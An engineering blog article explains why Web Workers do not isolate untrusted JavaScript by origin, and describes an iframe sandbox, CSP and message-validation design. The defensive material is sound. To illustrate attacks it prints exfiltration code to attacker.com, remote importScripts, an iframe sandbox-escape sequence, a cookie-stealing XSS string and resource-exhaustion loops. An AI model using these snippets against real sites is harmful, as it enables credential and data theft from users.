Back to All Articles
Cybersecurity

A Web Worker Isn't Enough: How to Safely Run Untrusted JavaScript in the Browser

A Web Worker prevents UI freezes, but it does not protect your application's origin, credentials, or storage. Learn how to architect a multi-boundary browser sandbox using cross-origin iframes, CSP, opaque origins, and strict message contracts.

Pathubs Engineering
Pathubs Engineering
Database & Systems Architecture
Published Oct 13, 2026Updated Oct 13, 202622 min read
Developer workstation displaying JavaScript application code, secure execution boundaries, and terminal monitoring

Imagine you are building an interactive coding platform, a plugin system, or a workflow engine. Users submit custom JavaScript snippets to automate calculations, format data, or build UI extensions. To keep the interface snappy, your team places the untrusted code inside a Web Worker.

The code runs in a background thread. If a user submits an infinite loop (while(true) {}), your main thread stays silky smooth. You set a timer, call worker.terminate(), and pat yourself on the back: *our sandbox works.*

Except it doesn’t.

Two weeks later, a security researcher submits a bug bounty report. By writing three lines of JavaScript inside your "sandboxed" worker, they issued a credentialed fetch('/api/user/billing') call that returned the logged-in administrator’s payment details. They exfiltrated the entire database stored in IndexedDB, established a WebSocket connection to an external command-and-control server, and used the visitor’s browser to participate in a distributed denial-of-service attack.

The worker executed off the main thread, but it executed inside your application's origin.

This scenario illustrates the single most dangerous architectural misconception in modern web security: confusing thread isolation with security isolation.

In One Minute: - What Web Workers Do: Offload computation from the main UI thread, isolate DOM access, and allow programmatic termination via worker.terminate(). They solve responsiveness and availability, not hostile-code containment. - What Web Workers Lack: They do not restrict origin privileges. A standard same-origin worker inherits ambient cookies, access to IndexedDB, CacheStorage, fetch(), XMLHttpRequest, WebSocket, and importScripts(). - The Core Isolation Boundary: To safely run untrusted code in the browser, you must isolate the Origin Tuple (scheme://host:port) using cross-origin subdomains or sandboxed iframes with opaque (null) origins. - Defense in Depth: True containment requires a 6-layer architecture: an opaque-origin iframe, an inner Web Worker for watchdog termination, a dedicated restrictive Content Security Policy (connect-src 'none'), an explicit structured message schema, and strict output sanitization. - When to Move Server-Side: If untrusted programs need filesystem access, package installation (npm/pip), multi-language runtimes, or strict OS-level resource quotas, browser execution is insufficientβ€”you must move to server-side microVMs.

---

1. What Does "Sandbox" Actually Mean?

In modern web development, the term *sandbox* is tossed around casually. Developers describe virtual DOMs, shadow DOMs, iframe embeds, and Web Workers as sandboxes. But in application security, a sandbox is not a vibeβ€”it is a formal boundary that restricts an untrusted program's access to memory, capabilities, and system resources.

To evaluate any client-side execution environment, we must disaggregate "isolation" into six distinct technical dimensions:

Isolation DimensionWhat It RestrictsBrowser MechanismWeb Worker Alone?
Execution IsolationPrevents blocking the host thread’s call stackSeparate event loop / background threadYes (Runs on background thread)
DOM IsolationBlocks reading or mutating parent UI elementsNo window or document in global scopeYes (No DOM access)
Origin IsolationBlocks access to parent cookies, storage, and sessionsSame-Origin Policy, separate domains, opaque originsNo (Shares parent origin)
Network IsolationPrevents unauthorized egress, telemetry, and exfiltrationContent Security Policy (connect-src), proxy mediationNo (Can access fetch, sockets)
Capability IsolationRestricts device APIs, storage engines, and dynamic evaluationPermissions Policy, CSP script-src, sandboxed scopesNo (Has IndexedDB, caches)
Resource QuotasCaps CPU time, memory consumption, and concurrencyWatchdog termination, browser memory limitsPartial (Can terminate; cannot limit heap)
text
β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚                       THE BROWSER ISOLATION SPECTRUM                        β”‚
β”œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€
β”‚   PERFORMANCE ISOLATION       β”‚              SECURITY ISOLATION             β”‚
β”‚   (What Web Workers Provide)  β”‚       (What Untrusted Code Requires)        β”‚
β”œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€
β”‚ β€’ Background thread execution β”‚ β€’ Origin boundary (cannot touch app state)  β”‚
β”‚ β€’ Unblocked UI event loop     β”‚ β€’ Network quarantine (cannot exfiltrate)   β”‚
β”‚ β€’ Watchdog loop termination   β”‚ β€’ Capability stripping (no IndexedDB/APIs) β”‚
β”‚ β€’ Prevents browser tab freeze β”‚ β€’ Memory & output sanitization              β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”΄β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜

When you understand this taxonomy, the problem becomes obvious: Web Workers solve performance isolation, but they do almost nothing for security isolation.

---

2. What Web Workers Actually Protect

To build an effective defense, we must first give Web Workers credit for what they *do* achieve.

When you instantiate a Dedicated Web Worker:

javascript
// host-application.js
const worker = new Worker('/workers/runner.js');

worker.postMessage({ code: userSubmittedCode });

worker.onmessage = (event) => {
  console.log('Result from worker:', event.data);
};

The browser creates a completely new JavaScript runtime environment governed by DedicatedWorkerGlobalScope. This boundary provides three critical performance and architectural guarantees:

1. Dedicated Event Loop and Thread Isolation

The worker operates on an independent operating system thread managed by the browser. If the user-submitted code contains an accidental or malicious infinite loop:

javascript
// Malicious snippet
while (true) {
  // Consumes 100% of the worker thread's CPU
}

The host application’s main thread continues running. Your buttons remain clickable, animations stay smooth at 60 FPS, and the browser tab does not trigger the dreaded "Page Unresponsive" modal.

2. Elimination of Direct DOM and Window Access

In DedicatedWorkerGlobalScope, the following objects are simply undefined:

  • window
  • document
  • parent
  • top

Untrusted code running in a worker cannot traverse the DOM tree, install keyloggers on input fields, rewrite forms to point to phishing URLs, or inject rogue <script> tags into the parent document.

3. Asynchronous Message Passing and Clean Termination

Communication between the host and the worker occurs exclusively via structured cloning over postMessage(). There is no shared memory heap (unless you explicitly allocate and share a SharedArrayBuffer).

Crucially, the host retains lifecycle supremacy:

javascript
// Watchdog timer on the host
const WATCHDOG_TIMEOUT_MS = 2000;

const watchdog = setTimeout(() => {
  console.warn('Execution exceeded budget. Terminating worker.');
  worker.terminate(); // Immediately halts the thread and destroys the scope
}, WATCHDOG_TIMEOUT_MS);

When worker.terminate() is called, the browser forcefully disposes of the worker's execution context. This gives you an enforceable availability guarantee.

---

3. What a Worker Does Not Automatically Restrict

Here is where the illusion collapses. While the worker has no DOM, it remains an active participant in your application's security context.

Unless wrapped in an unprivileged cross-origin boundary, a Web Worker inherits the exact same origin (scheme://host:port) as the parent page that instantiated it.

text
β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚                    THE SAME-ORIGIN WORKER TRAP                              β”‚
β”‚                                                                             β”‚
β”‚   Host Document: https://app.example.com/workspace                          β”‚
β”‚         β”‚                                                                   β”‚
β”‚         └── spawns ──> Worker: https://app.example.com/worker.js            β”‚
β”‚                              β”‚                                              β”‚
β”‚                              β”œβ”€β”€ fetch('/api/private-data')                 β”‚
β”‚                              β”‚   [Sends cookies! Reads auth response!]      β”‚
β”‚                              β”‚                                              β”‚
β”‚                              β”œβ”€β”€ indexedDB.open('AppDatabase')              β”‚
β”‚                              β”‚   [Full read/write access to local data!]    β”‚
β”‚                              β”‚                                              β”‚
β”‚                              └── importScripts('https://evil.com/x.js')     β”‚
β”‚                                  [Loads and runs unvetted remote scripts!]  β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜

Consider the dangerous capabilities that remain fully operational inside a standard same-origin worker:

1. Ambient Credentials and Same-Origin Networking

According to the Fetch Specification, fetch() calls inside a same-origin worker include credentials by default (credentials: 'same-origin').

If your host page is https://app.example.com, untrusted code inside the worker can execute:

javascript
// Executing inside untrusted worker
fetch('/api/user/profile')
  .then(res => res.json())
  .then(sensitiveData => {
    // Exfiltrate to attacker server
    fetch('https://attacker.com/collect', {
      method: 'POST',
      body: JSON.stringify(sensitiveData)
    });
  });

Because the worker shares the app.example.com origin, the browser attaches all session cookies (including HttpOnly session tokens) to the request. The backend server cannot distinguish between a legitimate request made by your React application and an unauthorized request made by the untrusted script running inside the worker.

2. Direct Access to Client-Side Databases

Web Workers do not have access to localStorage (because localStorage is synchronous and blocked from worker scopes by design). However, Web Workers have full, unrestricted access to `IndexedDB` and `CacheStorage`:

javascript
// Reading host app's IndexedDB from worker
const req = indexedDB.open('offline_workspace_data', 1);
req.onsuccess = (e) => {
  const db = e.target.result;
  const tx = db.transaction('documents', 'readonly');
  const store = tx.objectStore('documents');
  store.getAll().onsuccess = (evt) => {
    console.log('Stolen offline documents:', evt.target.result);
  };
};

If your application caches customer data, encryption keys, draft documents, or authentication tokens in IndexedDB, untrusted JavaScript in a same-origin worker can read, alter, or wipe out those databases.

3. Arbitrary Script Ingestion via `importScripts()`

Worker scopes expose importScripts(), a synchronous API that downloads and evaluates remote JavaScript files:

javascript
// Loading remote exploit payloads into the worker
importScripts('https://cdn.attacker.com/advanced-crypto-miner.js');

Unless blocked by an explicit script-src directive in your Content Security Policy, the untrusted snippet can pull in megabytes of obfuscated exploits, telemetry trackers, or cryptominers at runtime.

4. Background Network Sockets and Communication Channels

Workers can instantiate:

  • WebSocket
  • EventSource (Server-Sent Events)
  • BroadcastChannel

Through a BroadcastChannel, an untrusted worker can intercept or inject messages into other browser tabs that your user has open on the same origin. Through WebSockets, it can establish a persistent, bidirectional channel to an attacker's infrastructure.

---

4. The Same-Origin Problem: Dissecting the Origin Tuple

At the heart of web security is the Same-Origin Policy (SOP). The browser defines an origin as a strict tuple:

$$\text{Origin} = (\text{Scheme}, \text{Host}, \text{Port})$$

Two resources have the same origin if and only if all three components match identically:

URL 1URL 2Same Origin?Reason
https://app.example.com/editorhttps://app.example.com/apiYesIdentical scheme, host, and port (443)
https://app.example.com/editorhttp://app.example.com/editorNoScheme mismatch (https vs http)
https://app.example.com/editorhttps://api.example.com/editorNoHost mismatch (app vs api subdomain)
https://app.example.com:443https://app.example.com:8443NoPort mismatch (443 vs 8443)

When you run untrusted code under your primary application's origin, you grant that code permission to speak on behalf of your user.

Why Subdomains Aren't Always Enough

Many teams recognize this danger and introduce a sandbox subdomain, such as https://sandbox.example.com. While this creates a distinct origin, it introduces subtle architectural failure modes if not configured with defense-in-depth:

  1. Permissive Wildcard Cookies: If your authentication session cookie is scoped to .example.com (with a leading dot or root domain scope), the browser will automatically transmit that cookie to requests originating from sandbox.example.com.
  2. Permissive CORS Configurations: If your backend API checks CORS headers using a regex like /example\.com$/, requests from sandbox.example.com will be trusted, allowing the sandbox to make cross-origin authenticated API calls.
  3. Shared `document.domain` Mutation (Legacy): Although modern browsers have heavily restricted or deprecated document.domain mutations, legacy setups that relax domain boundaries can inadvertently collapse origin separation.

To achieve genuine security isolation, the sandbox must either live on a completely separate, cookie-less apex domain (e.g., example-usercontent.com) or utilize the browser's built-in opaque origin mechanism.

---

5. The iframe Sandbox: Capabilities, Flags, and the Fatal Combination

The <iframe> element provides the browser's native declarative sandboxing mechanism via the sandbox attribute.

html
<iframe src="sandbox.html" sandbox="allow-scripts"></iframe>

When the sandbox attribute is present on an <iframe>, the browser treats the embedded document as if it were loaded from an opaque origin (its origin serializes to "null"), and it applies maximum restrictions by default.

The Granular Sandbox Flags

The sandbox attribute operates on a zero-trust model: omitting all flags imposes maximum lockdown. You selectively re-enable capabilities by specifying space-separated tokens:

Flag TokenWhat It PermitsSecurity Implications for Untrusted Code
*(No tokens)*Absolute lockdownNo scripts, no forms, no popups, opaque origin. Content is static text/media.
allow-scriptsJavaScript executionRequired for code execution. Enables running scripts, but retains opaque origin.
allow-same-originRetains document's originDANGEROUS if combined with `allow-scripts` on same-origin host.
allow-formsForm submissionUntrusted code can submit forms to external servers (phishing/data exfiltration).
allow-popupswindow.open() popupsUntrusted code can spawn new browser tabs or windows to phish users.
allow-top-navigationNavigates the host tabUntrusted code can redirect the user away from your app (top.location = ...).
allow-downloadsFile downloadsUntrusted code can trigger automatic malicious payload downloads.

The Fatal Combination: `allow-scripts` + `allow-same-origin`

There is a catastrophic mistake that appears in thousands of codebases and online tutorials:

html
<!-- CATASTROPHIC SECURITY VULNERABILITY -->
<iframe src="/sandbox-runner.html" sandbox="allow-scripts allow-same-origin"></iframe>

Why do developers do this? Because without allow-same-origin, the iframe cannot access same-origin assets, local scripts, or styling. So they add both flags to "make it work."

The official W3C HTML Specification and MDN explicitly publish a stern warning regarding this pattern:

> Critical Warning: Combining allow-scripts and allow-same-origin when the embedded document has the same origin as the outer page allows the embedded script to simply reach into the parent DOM and remove the sandbox attribute entirely.

Here is the exact attack sequence:

javascript
// Inside the iframe with allow-scripts allow-same-origin
// 1. Script has same origin as parent -> Can access window.parent
const parentDoc = window.parent.document;

// 2. Locate its own iframe element in the parent DOM
const myIframe = parentDoc.querySelector('iframe');

// 3. Strip the sandbox attribute
myIframe.removeAttribute('sandbox');

// 4. Directly execute code in the parent context
window.parent.eval("fetch('/api/admin/delete-all', { method: 'POST' })");

By specifying both allow-scripts and allow-same-origin on an iframe served from your own domain, you have made the sandbox no more secure than having no sandbox at all.

The Correct Rule of Thumb

  • If an iframe runs untrusted scripts, it must never have allow-same-origin if it is served from the same domain as your sensitive application.
  • When allow-same-origin is omitted, the browser forces the iframe into an opaque origin ("null"). It cannot touch cookies, cannot touch localStorage, cannot touch parent DOM, and cannot remove its own sandbox restrictions.

---

6. Content Security Policy: What `unsafe-eval` Really Does

To execute arbitrary JavaScript submitted as a string at runtime, an engine typically relies on dynamic evaluation:

javascript
// Dynamic evaluation primitives
eval(userCode);
new Function(userCode)();
setTimeout(userCode, 0);

By default, any modern, secure web application defines a strict Content Security Policy (CSP) header:

http
Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none';

Under this policy, the browser's JavaScript engine throws a fatal runtime exception if any code attempts to invoke eval() or new Function():

text
Uncaught EvalError: Refused to evaluate a string as JavaScript because 'unsafe-eval' 
is not an allowed source of script in the following Content Security Policy directive: "script-src 'self'".

The Wrong Solution: Relaxing the Main App CSP

Faced with this error, inexperienced teams often modify their server's CSP header:

http
# EXTREMELY DANGEROUS: Relaxing the host application
Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-eval';

Adding 'unsafe-eval' to your main application destroys one of the web platform's most vital defense-in-depth barriers. If an attacker discovers an existing Cross-Site Scripting (XSS) vulnerability anywhere in your application (such as an unsanitized comment field, markdown parser bug, or third-party tracking library defect), the presence of 'unsafe-eval' allows them to turn simple DOM manipulation into full, unconstrained script execution with access to your authentication state.

The Correct Solution: Isolated Sandbox Document CSP

Instead of relaxing the host application's CSP, you create a dedicated, unprivileged sandbox document hosted on a separate origin or an opaque iframe. This sandbox document carries its own ultra-restrictive CSP tailored specifically for safe evaluation:

http
# Sandbox Document Headers (served from sandbox.yourcompany-usercontent.com)
Content-Security-Policy: 
  default-src 'none';
  script-src 'unsafe-eval' 'unsafe-inline';
  connect-src 'none';
  style-src 'unsafe-inline';
  img-src data:;

Let's dissect this policy:

  1. default-src 'none': All capabilities (frames, objects, fonts, media) are disabled by default.
  2. script-src 'unsafe-eval' 'unsafe-inline': Allows the sandbox to dynamically compile and run user snippets, but *only* inside this unprivileged document.
  3. connect-src 'none': The critical defense. Completely disables fetch(), XMLHttpRequest, WebSocket, and EventSource. Even if the untrusted script attempts to make network calls, the browser blocks them at the network layer.

What About `wasm-unsafe-eval`?

If your architecture uses a WebAssembly-based sandbox (such as QuickJS compiled to WASM), CSP Level 3 provides an even safer directive: wasm-unsafe-eval.

http
Content-Security-Policy: default-src 'self'; script-src 'self' 'wasm-unsafe-eval';

This permits the compilation and instantiation of WebAssembly binary modules without permitting general string-to-JavaScript evaluation (eval remains blocked).

---

7. The Pathubs Untrusted Code Boundary

To bridge the gap between theory and production engineering, Pathubs has developed an architectural model for client-side JavaScript execution: The Pathubs Untrusted Code Boundary.

This framework consists of six interconnected security boundaries. If any single boundary is omitted, the integrity of the host application degrades.

text
β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚                   THE PATHUBS UNTRUSTED CODE BOUNDARY                       β”‚
β”œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€
β”‚                                                                             β”‚
β”‚  [ HOST APPLICATION: https://app.pathubs.com ] (Trusted Origin)             β”‚
β”‚        β”‚                                                                    β”‚
β”‚        β”‚ 1. Execution Request (Strict JSON: { id, code, timeoutMs })        β”‚
β”‚        β–Ό                                                                    β”‚
β”‚  [ SECURITY CONTROLLER & SANITIZER ]                                        β”‚
β”‚        β”‚                                                                    β”‚
β”‚        β”‚ 2. postMessage() with structured payload                           β”‚
β”‚        β–Ό                                                                    β”‚
β”‚  [ ISOLATED IFRAME: sandbox="allow-scripts" ] (Opaque / Null Origin)        β”‚
β”‚    β”œβ”€β”€ Dedicated CSP: connect-src 'none'; default-src 'none';               β”‚
β”‚    β”‚                                                                        β”‚
β”‚    β”‚ 3. Spawns ephemeral worker from Blob URL                               β”‚
β”‚    β–Ό                                                                        β”‚
β”‚  [ DEDICATED WEB WORKER ] (Off Main Thread)                                 β”‚
β”‚    β”œβ”€β”€ Executes user code                                                   β”‚
β”‚    β”œβ”€β”€ Watchdog timer enforces execution budget                             β”‚
β”‚    └── Captures console.log / returns calculated result                     β”‚
β”‚        β”‚                                                                    β”‚
β”‚        β”‚ 4. postMessage({ id, status: 'success', result })                  β”‚
β”‚        β–Ό                                                                    β”‚
β”‚  [ HOST RESULT RECEIVER ]                                                   β”‚
β”‚    β”œβ”€β”€ Verifies source window & message schema                              β”‚
β”‚    β”œβ”€β”€ Sanitizes returned text / formatting                                 β”‚
β”‚    └── Renders safely via textContent (Zero raw innerHTML)                  β”‚
β”‚                                                                             β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜

The Six Dimensions in Practice:

  1. Execution Boundary: User code runs inside an ephemeral Web Worker. If the code enters an infinite loop or performs heavy computation, it runs on an isolated CPU thread without degrading the host UI.
  2. Origin Boundary: The worker is spawned from within an <iframe> configured with sandbox="allow-scripts" (and never allow-same-origin). This strips the document of ambient credentials and isolates it to an opaque origin ("null").
  3. Capability Boundary: The iframe enforces a CSP containing connect-src 'none'. Outbound network access is physically blocked by the browser engine.
  4. Control Boundary: The host application manages a strict watchdog timer. If the worker does not return a response within the allocated execution budget (e.g., 2,000 ms), the host calls worker.terminate().
  5. Communication Boundary: Messages between the host and sandbox cross an explicit, typed boundary. The host rejects any message that does not conform to a strict schema.
  6. Recovery Boundary: When a timeout, unhandled exception, or unexpected error occurs, the host immediately disposes of the worker, tears down the iframe, and returns a clean, structured diagnostic report to the user.

---

8. A Safe Message Protocol

Using postMessage() does not automatically make your application secure. If your message handler blindly accepts payloads from any window, or if your message format is unstructured, you expose your host to Cross-Site Scripting and privilege escalation.

The Problem with Opaque Origin Verification

In typical cross-window communication, security best practices dictate checking event.origin:

javascript
// Standard postMessage handler
window.addEventListener('message', (event) => {
  if (event.origin !== 'https://trusted-domain.com') {
    return; // Reject untrusted sender
  }
  processData(event.data);
});

However, when an iframe is sandboxed with sandbox="allow-scripts" (without allow-same-origin), the browser sets event.origin to the literal string "null".

Here is the security catch: any sandboxed iframe from any website in the world sends an origin of `"null"`. Furthermore, local files (file://) and data: URIs also produce an origin of "null". Therefore:

javascript
// DANGEROUS: Does NOT prove message came from YOUR sandbox!
if (event.origin === 'null') {
  // Vulnerable to messages sent by any third-party malicious iframe on the page!
}

The Correct Verification Technique

To securely verify messages arriving from an opaque-origin sandbox, you must check the `event.source` reference against your known iframe element's contentWindow:

typescript
// host-controller.ts
class SecureSandboxManager {
  private iframe: HTMLIFrameElement | null = null;
  private pendingRequests = new Map<string, {
    resolve: (val: unknown) => void;
    reject: (err: Error) => void;
    timer: ReturnType<typeof setTimeout>;
  }>();

  constructor(iframeElement: HTMLIFrameElement) {
    this.iframe = iframeElement;
    window.addEventListener('message', this.handleMessage.bind(this));
  }

  private handleMessage(event: MessageEvent) {
    // 1. Verify that the message originated precisely from our sandbox iframe
    if (!this.iframe || event.source !== this.iframe.contentWindow) {
      return; // Reject messages from other windows or frames
    }

    // 2. Validate strict schema
    const data = event.data;
    if (!data || typeof data !== 'object' || typeof data.id !== 'string') {
      console.warn('Malformed message received from sandbox. Dropping.');
      return;
    }

    const pending = this.pendingRequests.get(data.id);
    if (!pending) {
      return; // Stale, timed-out, or forged request ID
    }

    // Clear watchdog timer
    clearTimeout(pending.timer);
    this.pendingRequests.delete(data.id);

    // 3. Handle response based on explicit type
    if (data.type === 'EXECUTION_SUCCESS') {
      pending.resolve(data.payload);
    } else if (data.type === 'EXECUTION_ERROR') {
      pending.reject(new Error(String(data.error)));
    } else {
      pending.reject(new Error('Unknown message type received'));
    }
  }

  public execute(code: string, timeoutMs: number = 2000): Promise<unknown> {
    const id = crypto.randomUUID();

    return new Promise((resolve, reject) => {
      const timer = setTimeout(() => {
        this.pendingRequests.delete(id);
        this.recycleSandbox(); // Destroy and restart sandbox on hard timeout
        reject(new Error(`Execution timed out after ${timeoutMs}ms`));
      }, timeoutMs);

      this.pendingRequests.set(id, { resolve, reject, timer });

      // Post code to sandbox iframe
      this.iframe?.contentWindow?.postMessage(
        { id, type: 'EXECUTE_CODE', code },
        '*' // Target origin is '*' because sandbox has opaque origin 'null'
      );
    });
  }

  private recycleSandbox() {
    // Teardown and rebuild iframe on timeout or severe error
    console.info('Recycling unresponsive sandbox iframe...');
    // Implementation of iframe re-initialization
  }
}

---

9. Network Access and Data Exfiltration

Even if an untrusted script cannot read local session cookies or parent DOM elements, unrestricted network egress transforms the user's browser into a potential attack proxy.

Attack Vectors via Unrestricted Network Egress:

  1. Intranet Scanning and SSRF: Untrusted code running in an internal company employee's browser can use fetch('http://192.168.1.1/admin') to scan internal subnets, router admin portals, and internal Kubernetes services that are inaccessible from the public internet.
  2. Cryptocurrency Mining / Distributed Denial of Service (DDoS): A network-capable worker can send thousands of fetch() requests per second to target third-party servers, turning legitimate site visitors into an unintentional botnet.
  3. Data Exfiltration via Query Parameters: If the script extracts data (such as calculations or environment variables), it can exfiltrate it via GET parameters: new Image().src = 'https://attacker.com/log?data=' + encodeURIComponent(data).

Defense in Depth: The Tri-Layer Network Quarantine

To prevent network abuse, implement three complementary controls:

text
β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚                   TRI-LAYER NETWORK QUARANTINE ARCHITECTURE                 β”‚
β”œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€
β”‚                                                                             β”‚
β”‚  Layer 1: Content Security Policy (Browser-Enforced)                        β”‚
β”‚  Header: Content-Security-Policy: default-src 'none'; connect-src 'none';   β”‚
β”‚  -> Blocks fetch(), XMLHttpRequest, WebSocket, and EventSource.             β”‚
β”‚                                                                             β”‚
β”‚  Layer 2: Environment Neutralization (Scope-Enforced)                       β”‚
β”‚  Inside Worker: delete self.fetch; delete self.XMLHttpRequest;              β”‚
β”‚  delete self.WebSocket; delete self.importScripts;                          β”‚
β”‚  -> Removes network constructors before evaluating user code.               β”‚
β”‚                                                                             β”‚
β”‚  Layer 3: Cross-Origin Isolation (Network Credential Guard)                 β”‚
β”‚  Host sandbox on separate apex domain: https://sandbox-usercontent.com      β”‚
β”‚  -> Ensures no ambient credentials exist even if a request were made.       β”‚
β”‚                                                                             β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜

---

10. Timeouts, Infinite Loops, and Resource Abuse

One of the most persistent operational challenges with running user-submitted code is managing compute budgets. Consider the following failure modes:

Scenario A: The Synchronous Infinite Loop

javascript
// CPU exhaustion
while (true) {}

Because the untrusted code executes inside a dedicated Web Worker, the host's watchdog timer fires reliably:

javascript
// The host timer fires independently on the main thread
setTimeout(() => {
  worker.terminate(); // Browser forcefully aborts worker execution
}, 2000);

Scenario B: The Asynchronous Event Loop Starver

javascript
// Microtask queue flooding
function flood() {
  Promise.resolve().then(flood);
}
flood();

Microtask queue flooding prevents macrotasks (setTimeout, message handlers) from executing within the worker thread. However, calling worker.terminate() from the host bypasses the worker's internal event loop entirely, destroying the underlying V8/SpiderMonkey isolate.

Scenario C: Memory Allocation Attacks

javascript
// Heap exhaustion attack
const chunks = [];
while (true) {
  chunks.push(new Uint8Array(1024 * 1024 * 50)); // 50 MB per iteration
}

An Honest Technical Truth: Standard browser APIs do not provide a fine-grained, cross-browser API to set a strict memory limit (e.g., "cap this worker at exactly 64 MB of RAM").

If a worker consumes excessive memory, the browser's operating system process may crash, or the browser may terminate the tab's renderer process.

Mitigations for Memory Abuse:

  1. Execution Deadlines: Set tight execution windows (e.g., 500 ms to 2,000 ms). Memory exhaustion takes CPU cycles; short timeouts limit the total bytes an attacker can allocate.
  2. Payload Size Boundaries: Impose strict character limits on submitted code (e.g., maximum 64 KB of source text).
  3. ArrayBuffer Allocation Guards: If you provide helper utilities to the sandbox, override or wrap constructors (ArrayBuffer, Uint8Array) with maximum allocation checks before user code executes.

---

11. Treat the Output as Untrusted

Sandbox security does not end when code execution completes. What the untrusted script returns to the host application is just as dangerous as the code itself.

Consider what happens when a developer renders output in an online playground:

javascript
// CATASTROPHIC VULNERABILITY IN THE HOST APPLICATION
worker.onmessage = (event) => {
  const result = event.data.result;
  // Attacker returned: "<img src=x onerror=alert(document.cookie)>"
  outputContainer.innerHTML = result; // DIRECT XSS IN HOST DOM!
};

If the user-submitted script returns malicious HTML strings, rendering that output directly via innerHTML grants the attacker immediate Cross-Site Scripting inside your trusted host application.

text
